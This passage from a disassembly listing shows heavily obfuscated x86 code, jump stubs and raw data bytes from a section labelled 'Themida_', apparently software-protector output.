		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552442:				; CODE XREF: Themida_:0054BCE1j
		add	esp, 4
		jmp	loc_548B29
; ---------------------------------------------------------------------------

loc_55244A:				; CODE XREF: Themida_:00548A5Aj
					; Themida_:005495E7j
		push	cx
		mov	cl, 93h
		jmp	loc_553DEB
; ---------------------------------------------------------------------------

loc_552453:				; CODE XREF: Themida_:0054CF18j
		add	ecx, 26CE5CD4h
		jg	loc_54B8C4
		push	ebp
		jmp	loc_5528E3
; ---------------------------------------------------------------------------

loc_552465:				; CODE XREF: Themida_:005533DAj
		add	esp, 4
		jmp	loc_555C7D
; ---------------------------------------------------------------------------

loc_55246D:				; CODE XREF: Themida_:0054AF78j
		push	ecx
		mov	cl, 0B2h
		dec	cl
		add	cl, 0EBh
		push	eax
		jmp	loc_54CCB3
; ---------------------------------------------------------------------------

loc_55247B:				; CODE XREF: Themida_:00553BF1j
		mov	[esp], ecx
		mov	ecx, 1FF472AEh
		sub	esi, ecx
		jmp	loc_54E018
; ---------------------------------------------------------------------------

loc_55248A:				; CODE XREF: Themida_:0054A3FCj
		mov	[esp], ebp
		push	4EB43BE4h
		mov	ebp, [esp]
		add	esp, 4
		sub	[edi+20h], ebp
		mov	ebp, [esp]
		jmp	loc_54E76F
; ---------------------------------------------------------------------------

loc_5524A6:				; CODE XREF: Themida_:0054DEEAj
		push	edx
		jmp	loc_54BF01
; ---------------------------------------------------------------------------

loc_5524AC:				; CODE XREF: Themida_:005546F2j
		add	esi, edi
		add	esi, 78B43484h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54D7F9
; ---------------------------------------------------------------------------

loc_5524C2:				; CODE XREF: Themida_:0055234Fj
		mov	esp, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54CE1C
; ---------------------------------------------------------------------------
		db 0E9h, 53h, 64h
		dd 8B66FFFFh, 54532404h, 81241C8Bh, 4C4h, 0C9B95100h, 562CD256h
		dd 0BB58B6BEh, 0E9DEF708h, 0FFFFC8BEh
; ---------------------------------------------------------------------------

loc_5524F8:				; CODE XREF: Themida_:loc_55381Aj
		add	eax, 0C904D6A3h
		sub	dword ptr [esp+4], 29FB6008h
		add	[esp+4], eax
		add	dword ptr [esp+4], 29FB6008h
		pop	eax
		jmp	loc_54F8BA
; ---------------------------------------------------------------------------

loc_552517:				; CODE XREF: Themida_:005493EBj
		mov	edx, 3DAA7D3Ah
		add	edx, 0BDEA3Eh
		add	eax, edx
		pop	edx
		mov	ebx, eax
		pop	eax
		push	4FE8h
		mov	[esp], edi
		jmp	loc_54A976
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 93h
		dd 0F38533Dh, 0FF8C688Dh, 0D9F781FFh, 0B639D3FFh
		db 5Dh,	89h, 0EBh
; ---------------------------------------------------------------------------

loc_55254B:				; CODE XREF: Themida_:0054F989j
		jmp	loc_555F8D
; ---------------------------------------------------------------------------
		dd 42474FFh, 8B2434FFh,	10E92404h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55255F:				; CODE XREF: Themida_:00551483j
		xor	edi, eax
		pop	eax
		jmp	loc_54E405
; ---------------------------------------------------------------------------
		db 66h
		dd 5224048Bh, 0C2815A54h, 4, 0FF6C8FE9h, 0E9505AFFh, 0FFFFDF21h
; ---------------------------------------------------------------------------

loc_552580:				; CODE XREF: Themida_:005523D2j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_54E604
; ---------------------------------------------------------------------------
		dw 0C589h
		dd 8904EC83h, 0CFE92434h, 89FFFFB0h, 0E6892434h, 0FFA19AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5525A9:				; CODE XREF: Themida_:0054AD1Bj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552A89
; ---------------------------------------------------------------------------
		dd 0E9242489h, 0FFFFBF11h
; ---------------------------------------------------------------------------

loc_5525BC:				; CODE XREF: Themida_:0054FEB4j
		mov	eax, [esp]
		push	edx
		push	4B40h
		jmp	loc_54B9E7
; ---------------------------------------------------------------------------

loc_5525CA:				; CODE XREF: Themida_:005539A0j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	2B6Fh
		mov	[esp], edx
		push	2
		pop	edx
		add	ebp, 1A7F30CFh
		sub	ebp, 2BA629ECh
		add	ebp, edx
		add	ebp, 2BA629ECh
		sub	ebp, 1A7F30CFh
		jmp	loc_55063D
; ---------------------------------------------------------------------------

loc_552602:				; CODE XREF: Themida_:0054A996j
		add	eax, 46045D21h
		xor	edx, eax
		pop	eax
		jmp	loc_54AF7D
; ---------------------------------------------------------------------------
		db 81h
		dd 67424CF3h, 9AF3816Ch, 0F7671B51h, 0C3814BD3h, 13DD4631h
		dd 0A3DAF381h, 0DD89508Eh, 28C5815Bh, 15EC70Ch,	28ED81D5h
		dd 8B5EC70Ch, 0C4812414h, 4, 0E91C6F21h, 25B5h,	18D468h
		dd 24048900h, 8E2352B8h, 33892D71h, 0E0C17030h,	0BD555303h
		dd 56734258h, 815DEB89h, 556C6BC3h, 0F3814365h,	0C4FC9D5Eh
		dd 55BD829h, 0D8FABBF5h, 8158C509h, 6A7AF1CDh, 3EDC15Fh
		dd 1EE95357h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_552693:				; CODE XREF: Themida_:0054CCECj
		sub	edx, 557B69E2h
		pop	ebp
		jmp	loc_54A6BB
; ---------------------------------------------------------------------------

loc_55269F:				; CODE XREF: Themida_:00555EBDj
		push	35EDh
		mov	[esp], ecx
		mov	ecx, 3FCh
		jmp	loc_5489A6
; ---------------------------------------------------------------------------
		db 0BBh, 60h, 63h
		dd 0E3C12D49h, 80C38106h, 0F05B041h, 2EB08Ch, 70CB8100h
		dd 0F55564Ah, 1E3E84h, 0D92EE900h, 0C481FFFFh, 4, 5259E828h
		dd 0FF71C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5526E5:				; CODE XREF: Themida_:0054B7C8j
		pop	esp
		mov	[esp], eax
		mov	ax, 1353h
		jmp	loc_54CBB3
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 5C241C33h, 22DCE9h, 5BF58000h, 0E959EA30h
		dd 0FFFFD5C7h, 4868E9D0h, 0E9000028h, 0FFFFBC5Dh, 5CC68h
		dd 241C8900h, 42474FFh,	0E9241C8Bh, 0FFFFDFDAh,	4EA81h
		dd 0EC830000h, 24148904h, 42474FFh, 0FFCEFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552741:				; CODE XREF: Themida_:0054D87Bj
		add	ebx, 1B03264Dh
		jbe	loc_554534
		sub	ebx, 394407B8h
		jl	loc_54D5E8
		xor	ebx, 547CBE4Bh
		jmp	loc_54D7D2
; ---------------------------------------------------------------------------

loc_552764:				; CODE XREF: Themida_:00550E8Aj
		mov	[esp], ebp
		mov	ebp, 527A4CD3h
		add	ebp, 3440072Bh
		xor	ebp, 438E33DBh
		jp	loc_54A944
		shr	ebp, 1
		push	ecx
		jmp	loc_5528B8
; ---------------------------------------------------------------------------
		dw 0FFB2h
		dd 285AD788h, 1C8B66FEh, 2C48324h, 0FFCF3AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552799:				; CODE XREF: Themida_:0054B943j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5542BA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E957240Ch, 0FFFF90A3h, 0E958C701h, 0FFFFD24Ah
; ---------------------------------------------------------------------------

loc_5527B4:				; CODE XREF: Themida_:00552FD9j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esi, edi
		jmp	loc_550E53
; ---------------------------------------------------------------------------

loc_5527C2:				; CODE XREF: Themida_:005514F7j
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], ecx
		pop	edx
		xor	ecx, [edi+24h]
		xor	[edi+24h], ecx

loc_5527D3:				; CODE XREF: Themida_:0054956Ej
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54A5CA
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0C7B551F0h, 44FE5166h, 59660124h, 8068E580h,	0EDE966E5h
		dd 0C1FFFFDDh, 5E902E6h, 66000003h, 5624048Bh, 91268h
		dd 24248900h, 4240481h,	5E000000h, 7D73B850h, 91057683h
		dd 1897C82h, 505158C6h,	591AEDB8h, 6437B956h, 0D9E9D6E2h
		dd 89FFFF85h, 6DB9240Ch, 551EC66Ch, 0A030F2BDh,	5DE82937h
		dd 0F205C829h, 5937A030h, 0DA4C2405h, 2DD82914h, 14DA4C24h
		dd 1B4568h, 0CC08E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552862:				; CODE XREF: Themida_:0054EADCj
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 13h
		jmp	loc_54D0DD
; ---------------------------------------------------------------------------

loc_55286F:				; CODE XREF: Themida_:0054914Fj
		mov	ebp, 45607BE6h
		xor	eax, ebp
		jmp	loc_54D8B8
; ---------------------------------------------------------------------------

loc_55287B:				; CODE XREF: Themida_:0054B6B6j
		push	edx
		mov	edx, 6C98074Fh
		or	edx, 0B011839h
		jnb	loc_551C56
		and	edx, 29826C13h
		jno	loc_549445

loc_552899:				; CODE XREF: Themida_:0054AF57j
		xchg	ebp, [esp]
		pop	esp
		pop	edx
		push	edx
		push	esi
		jmp	loc_548A6E
; ---------------------------------------------------------------------------
		db 5Dh,	55h, 68h
		dd 0D1Dh, 0FFB71BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5528B1:				; CODE XREF: Themida_:0054913Ej
		mov	bl, 17h
		jmp	loc_5503F1
; ---------------------------------------------------------------------------

loc_5528B8:				; CODE XREF: Themida_:00552781j
		mov	ecx, 0EA003FFh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_54D1A5
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E5242C81h, 0E93DDA4Fh, 1A74h, 5C240433h, 4BB0F66h
		dd 46E99C24h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5528E3:				; CODE XREF: Themida_:00552460j
					; Themida_:005534AAj
		mov	ebp, [esp]
		add	esp, 4
		push	4C38h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5558D7
; ---------------------------------------------------------------------------

loc_5528FB:				; CODE XREF: Themida_:005550FEj
		jl	loc_54FC4E
		inc	ebx
		neg	ebx
		or	ebx, 63193382h
		jmp	loc_551435
; ---------------------------------------------------------------------------

loc_55290F:				; CODE XREF: Themida_:005543ECj
		add	esi, 0FFFFFFFFh
		xor	esi, 47E71F5h
		jge	loc_555049
		xor	esi, 9D1FDBD2h
		jmp	loc_554D61
; ---------------------------------------------------------------------------

loc_552929:				; CODE XREF: Themida_:0054C3B2j
					; Themida_:0054CFB4j
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54D6E4
; ---------------------------------------------------------------------------

loc_552943:				; CODE XREF: Themida_:0054A235j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dd 5B545358h, 696E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552952:				; CODE XREF: Themida_:0054EE61j
		sub	edx, 170E7ED0h
		sub	edx, 49A467CEh
		add	edx, esi
		add	edx, 49A467CEh
		jmp	loc_54FB13
; ---------------------------------------------------------------------------

loc_55296B:				; CODE XREF: Themida_:00552F09j
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54FD05
; ---------------------------------------------------------------------------

loc_55297B:				; CODE XREF: Themida_:0054DC62j
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		jmp	loc_5537F3
; ---------------------------------------------------------------------------

loc_552988:				; CODE XREF: Themida_:0054F51Bj
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_549CE5
; ---------------------------------------------------------------------------

loc_552995:				; CODE XREF: Themida_:0054F5ADj
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 70ED5088h
		neg	edi
		jge	loc_553687
		xor	edi, 8F12AF7Ah
		mov	ebx, edi
		pop	edi
		add	edi, 0E1042DEh
		add	edi, ebx
		sub	edi, 0E1042DEh
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_550A8A
; ---------------------------------------------------------------------------

loc_5529D4:				; CODE XREF: Themida_:0054F7EAj
					; Themida_:00553D69j
		mov	[esp], ax
		mov	ah, 2Eh
		push	5CE9h
		mov	[esp], edx
		jmp	loc_54AF71
; ---------------------------------------------------------------------------

loc_5529E7:				; CODE XREF: Themida_:00553AC4j
		add	bl, dh
		add	bl, 18h
		pop	edx
		movzx	eax, al
		jmp	loc_555144
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 33h
		dd 4B6C9733h, 0FFDAE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552A01:				; CODE XREF: Themida_:005516F7j
		or	ebp, esi
		jmp	loc_55040F
; ---------------------------------------------------------------------------

loc_552A08:				; CODE XREF: Themida_:005507AAj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_552A18:				; CODE XREF: Themida_:00553EEAj
		neg	dl
		xchg	ch, dl
		not	ch
		push	ax
		mov	ah, ch
		mov	ch, dl
		mov	dl, ah
		jmp	loc_5555AC
; ---------------------------------------------------------------------------
		db 4
		dd 58C7007Ch, 0C9E9F700h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552A37:				; CODE XREF: Themida_:0054F7F2j
		push	edi
		mov	edi, 48580A10h
		xor	edi, 16441CD6h
		add	esi, edi
		jmp	loc_55035D
; ---------------------------------------------------------------------------
		dw 474Fh
		dd 0E902E7C1h, 2A96h
; ---------------------------------------------------------------------------

loc_552A54:				; CODE XREF: Themida_:0054EE4Ej
		mov	ebx, 4
		add	eax, 50493866h
		add	eax, ebx
		sub	eax, 50493866h
		jmp	loc_54DD4D
; ---------------------------------------------------------------------------
		dw 820Fh
		dd 0FFFF85FDh, 8904EC83h, 2AE9241Ch, 40FFFFA3h
		db 89h,	0F5h, 5Dh
; ---------------------------------------------------------------------------

loc_552A7F:				; CODE XREF: Themida_:00552174j
		push	31A0058h
		jmp	loc_5541B5
; ---------------------------------------------------------------------------

loc_552A89:				; CODE XREF: Themida_:005525AFj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54E8F5
; ---------------------------------------------------------------------------

loc_552AA1:				; CODE XREF: Themida_:0054FB35j
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_548E26
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 2ECDE9h, 19810F00h, 0E9FFFF99h, 0FFFFF28Ch, 0B9240C89h
		dd 2
		db 52h
; ---------------------------------------------------------------------------

loc_552AE1:				; CODE XREF: Themida_:0054CB1Dj
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54E8B5
; ---------------------------------------------------------------------------

loc_552AF0:				; CODE XREF: Themida_:00551AE1j
		add	esp, 4
		push	5B99h
		mov	[esp], eax
		push	esp
		jmp	loc_553474
; ---------------------------------------------------------------------------
		dd 6BA8F681h, 0C8E9341Dh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552B0F:				; CODE XREF: Themida_:005541F1j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 308F69ABh
		sub	eax, 40C0163Ch
		not	eax
		xor	eax, 1030AC94h
		jmp	loc_54ABCC
; ---------------------------------------------------------------------------

loc_552B2C:				; CODE XREF: Themida_:0054C882j
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	3EAF412Bh
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 0C150BF15h
		jmp	loc_554879
; ---------------------------------------------------------------------------

loc_552B60:				; CODE XREF: Themida_:005494E1j
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_552B65:				; CODE XREF: Themida_:0055064Dj
		shr	al, 6
		sub	al, 74h
		jmp	loc_5551FF
; ---------------------------------------------------------------------------

loc_552B6F:				; CODE XREF: Themida_:00550F21j
		push	eax
		jmp	loc_549CAB
; ---------------------------------------------------------------------------

loc_552B75:				; CODE XREF: Themida_:0054F7D5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7036779Ch
		mov	esi, 67324393h
		xor	esi, edi
		jmp	loc_54CC8D
; ---------------------------------------------------------------------------

loc_552B8F:				; CODE XREF: Themida_:loc_555E07j
		not	bl
		jmp	loc_552C54
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 20E04E7Fh, 732E9h
		db 0
; ---------------------------------------------------------------------------

loc_552BA1:				; CODE XREF: Themida_:0054F709j
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_552404
; ---------------------------------------------------------------------------

loc_552BB8:				; CODE XREF: Themida_:00549FEDj
		sub	ecx, 51CF15C8h
		pop	eax
		and	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_54D68A
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C241Ch, 0FFFF5D51h, 24048B66h, 370A68h
		dd 24048900h, 1EF2E9h
		db 0
; ---------------------------------------------------------------------------

loc_552BE9:				; CODE XREF: Themida_:0054F100j
		add	edi, 4
		jmp	loc_555A22
; ---------------------------------------------------------------------------

loc_552BF4:				; CODE XREF: Themida_:loc_54C970j
		or	eax, 8D95173h
		add	eax, 8F05483h
		mov	ebp, eax
		pop	eax
		xor	ebp, 1E783044h
		push	eax
		mov	eax, 0E457E9D0h
		jmp	loc_5534A5
; ---------------------------------------------------------------------------

loc_552C12:				; CODE XREF: Themida_:005557D8j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 0B9h
		dd 104D4662h, 81D9F741h, 5B5E3FE9h, 0AAC1813Eh,	0E9827471h
		dd 7AFh
; ---------------------------------------------------------------------------

loc_552C30:				; CODE XREF: Themida_:00548B6Ej
		push	ebx
		mov	ebx, 40450D18h
		jmp	loc_5558EE
; ---------------------------------------------------------------------------

loc_552C3B:				; CODE XREF: Themida_:0054AE8Dj
		xor	edx, eax
		xor	eax, edx
		jmp	loc_54F5C1
; ---------------------------------------------------------------------------
		dd 0E95BDD28h, 0FFFF726Ah, 0E9240C89h, 0FFFFD58Dh
; ---------------------------------------------------------------------------

loc_552C54:				; CODE XREF: Themida_:00552B91j
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_552C63:				; CODE XREF: Themida_:0054A765j
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_553A0D
; ---------------------------------------------------------------------------
		dd 0D4E5F381h, 0DD010AB8h, 4C5815Bh, 55000000h,	42474FFh
		dd 6E1FE95Dh, 2C8BFFFFh, 4C48324h, 5C243C87h, 2404A30Fh
		dd 0F508E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C9A:				; CODE XREF: Themida_:0054D5F5j
		pop	eax
		jmp	loc_551628
; ---------------------------------------------------------------------------

loc_552CA0:				; CODE XREF: Themida_:00551BA7j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5495B9
; ---------------------------------------------------------------------------

loc_552CB1:				; CODE XREF: Themida_:00549AA0j
		sub	eax, 5A761FEEh
		add	eax, edi
		add	eax, 5A761FEEh
		jmp	loc_554552
; ---------------------------------------------------------------------------

loc_552CC2:				; CODE XREF: Themida_:0055221Cj
		mov	esi, esp
		add	esi, 4
		jmp	loc_54E2CA
; ---------------------------------------------------------------------------
		db 89h
		dd 8DBD55E2h, 8114792Ch, 572388F5h, 0DED815Dh, 81542202h
		dd 81CB8C5h, 3EF58166h,	810E6174h, 8AA276C5h, 0E9EA01AAh
		dd 12B6h, 89242C89h, 2206E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552D06:				; CODE XREF: Themida_:loc_54FB0Ej
					; Themida_:00551AF3j
		mov	ebp, [esp]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	157Dh
		mov	[esp], ebp
		mov	ebp, 2FCE45D4h
		push	ebx
		mov	ebx, 54AA243Ch
		xor	ebx, 6C7B5728h
		jmp	loc_54CFAB
; ---------------------------------------------------------------------------

loc_552D3A:				; CODE XREF: Themida_:00553B2Cj
		add	ah, bh
		jmp	loc_54F0F6
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0B7h
		dd 1323B4Ah, 0B7EB81D3h, 8B323B4Ah, 0C4812414h,	4, 815BD831h
		dd 30331EC3h, 51C30175h, 3144BD55h, 0C8E937D4h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552D6F:				; CODE XREF: Themida_:0054F0D1j
		add	dword ptr [esp], 57D97C2Ah
		pop	eax
		sub	eax, 57D97C2Ah
		jmp	loc_54DC9E
; ---------------------------------------------------------------------------

loc_552D81:				; CODE XREF: Themida_:0055219Bj
		mov	ecx, 0C2C8A6C2h
		xor	ecx, esi
		pop	esi
		push	ebx
		mov	ebx, 36882A3Bh
		add	ecx, ebx
		jmp	loc_550215
; ---------------------------------------------------------------------------

loc_552D96:				; CODE XREF: Themida_:00549291j
		mov	edi, 4
		jmp	loc_54F3AE
; ---------------------------------------------------------------------------

loc_552DA0:				; CODE XREF: Themida_:0054FAF9j
		shr	ebx, 5
		jns	loc_555DDD
		xor	ebx, 101F7E5Ah
		jmp	loc_550A8A
; ---------------------------------------------------------------------------
		dd 2751EA81h, 0FA010790h, 7BB9B850h, 0B95136E8h, 31785CE8h
		dd 159C831h, 3C8B58C2h,	4C48324h, 0E9241487h, 0FFFF7049h
; ---------------------------------------------------------------------------

loc_552DDC:				; CODE XREF: Themida_:00550DE8j
		push	edx
		mov	edx, 81C0D801h
		add	eax, edx
		pop	edx
		push	50E4h
		mov	[esp], ebx
		push	edi
		mov	edi, eax
		push	edi
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_550744
; ---------------------------------------------------------------------------
		dw 0FF52h
		dd 5A042474h, 0FF8B1CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552E0D:				; CODE XREF: Themida_:0054A971j
		dec	ah
		push	dx
		mov	dh, 2Ch
		jmp	loc_550C52
; ---------------------------------------------------------------------------
		dd 9C40E95Fh, 0E286FFFFh, 0E286D4F6h, 0F8E9E2D0h, 0C0FFFF6Bh
		dd 0E95307EDh, 0FFFF979Ch
; ---------------------------------------------------------------------------

loc_552E34:				; CODE XREF: Themida_:0055435Fj
					; Themida_:005547C7j
		jmp	loc_54DFE3
; ---------------------------------------------------------------------------

loc_552E39:				; CODE XREF: Themida_:0054F19Bj
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_54A5B1
; ---------------------------------------------------------------------------

loc_552E46:				; CODE XREF: Themida_:0054A5FFj
		mov	si, 2DCFh
		neg	si
		jmp	loc_5532BC
; ---------------------------------------------------------------------------
		dw 0C68h
		dd 8900005Eh, 62B62414h, 178B6866h, 241C8966h, 90E9F388h
		dd 0BD00002Bh, 0FFFFFFFFh, 815DEF29h, 0C8FD1AEFh, 2DBB5384h
		dd 8161F032h, 3068BFEBh, 51F3815Ah, 813E441Fh, 985DBC3h
		dd 5BDD2931h, 23E9FD29h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552E9B:				; CODE XREF: Themida_:00555F0Bj
		sub	al, ch
		pop	ecx
		add	al, ch
		push	edx
		push	cx
		mov	ch, 0DBh
		mov	dl, ch
		mov	cx, [esp]
		add	esp, 2
		shl	dl, 8
		shl	dl, 4
		xor	dl, 53h
		add	al, dl
		mov	edx, [esp]
		push	ebx
		jmp	loc_551592
; ---------------------------------------------------------------------------

loc_552EC2:				; CODE XREF: Themida_:loc_54CAE8j
		shl	esi, 2
		jnp	loc_548B1E
		push	edi
		jmp	loc_555E59
; ---------------------------------------------------------------------------

loc_552ED1:				; CODE XREF: Themida_:0054A772j
		push	edx
		jmp	loc_54E4E8
; ---------------------------------------------------------------------------

loc_552ED7:				; CODE XREF: Themida_:0054D7CDj
		add	bl, 9Eh
		pop	ecx
		jmp	loc_54D578
; ---------------------------------------------------------------------------

loc_552EE0:				; CODE XREF: Themida_:0055584Aj
		mov	[esp], esi
		push	7502h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	eax, [esp]
		jmp	loc_54EBB0
; ---------------------------------------------------------------------------

loc_552F00:				; CODE XREF: Themida_:00553848j
		sub	ebx, 0BF512F66h
		add	ebp, ebx
		pop	ebx
		jmp	loc_55296B
; ---------------------------------------------------------------------------
		dw 10B9h
		dd 411AA64Ah, 8102E1C1h, 1C3053C1h, 59CD31CFh, 0B2F9ED81h
		dd 0EB31DDCBh, 8BDD315Dh, 8956241Ch, 0BFD6E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552F36:				; CODE XREF: Themida_:00548B01j
		add	dword ptr [esp], 4BB00F31h
		pop	edx
		sub	edx, 4BB00F31h
		pop	ebp
		or	[edi+1Ch], edx
		pop	edx
		push	ecx
		push	6921h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	3A70h
		mov	[esp], edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55453D
; ---------------------------------------------------------------------------

loc_552F7F:				; CODE XREF: Themida_:0054F855j
		mov	[esp], edx
		mov	dh, cl
		mov	bl, dh
		pop	edx
		pop	ecx
		shl	bl, 3
		jz	loc_553E9F
		jmp	loc_555EDA
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 4A9EB81h, 335D43B2h,	0EDE9241Ch
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552FA7:				; CODE XREF: Themida_:00553317j
		jmp	loc_54AE38
; ---------------------------------------------------------------------------
		dd 71DCF581h, 81555EFCh, 507E2404h, 32E91BF2h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552FBF:				; CODE XREF: Themida_:loc_54923Ej
		neg	eax
		shl	eax, 3
		xor	eax, 6D24A46Fh
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 220951E3h
		sub	edi, eax
		jmp	loc_5527B4
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9572404h, 0FFFF8244h, 4BFh, 5FFB0100h, 4BD55h, 0C3810000h
		dd 43B204A9h, 0FFFF95E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553001:				; CODE XREF: Themida_:005500E6j
					; Themida_:loc_550EAAj
		mov	esp, [esp]
		jmp	loc_54BF54
; ---------------------------------------------------------------------------

loc_553009:				; CODE XREF: Themida_:0054E25Cj
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ecx
		push	edx
		mov	edx, 4C41442Bh
		push	ebx
		mov	ebx, 312F41C5h
		add	edi, ebx
		pop	ebx
		sub	edi, edx
		push	ebp
		mov	ebp, 312F41C5h
		sub	edi, ebp
		pop	ebp
		pop	edx
		std
		push	2A14h
		mov	[esp], eax
		push	42BA1757h
		pop	eax
		push	edx
		mov	edx, 3D5B749Ah
		jmp	loc_555753
; ---------------------------------------------------------------------------

loc_553046:				; CODE XREF: Themida_:0054C322j
		jmp	loc_55313E
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 148904ECh, 815A5424h, 4C2h, 0E0895000h, 405h
		dd 4E88300h, 0E9240487h, 0FFFF8101h, 3166AD66h,	0BCD0E9D8h
		dd 0E2C1FFFFh, 98B95104h, 296CE662h, 0E28159CAh, 7E843D18h
		dd 0FFAB4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553091:				; CODE XREF: Themida_:00548D9Cj
		shl	esi, 8
		add	esi, 57C15169h
		sub	esi, 0AC77A571h
		sub	ebp, esi
		jmp	loc_54E7CB
; ---------------------------------------------------------------------------

loc_5530A7:				; CODE XREF: Themida_:00548E49j
		pop	edi
		add	ebx, 29F465E3h
		add	ebx, eax
		sub	ebx, 29F465E3h
		push	esi
		push	ebp
		mov	ebp, 6DC45464h
		jmp	loc_550D3C
; ---------------------------------------------------------------------------

loc_5530C2:				; CODE XREF: Themida_:00550442j
		xor	edx, eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_54DD40
; ---------------------------------------------------------------------------

loc_5530D2:				; CODE XREF: Themida_:0055082Cj
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
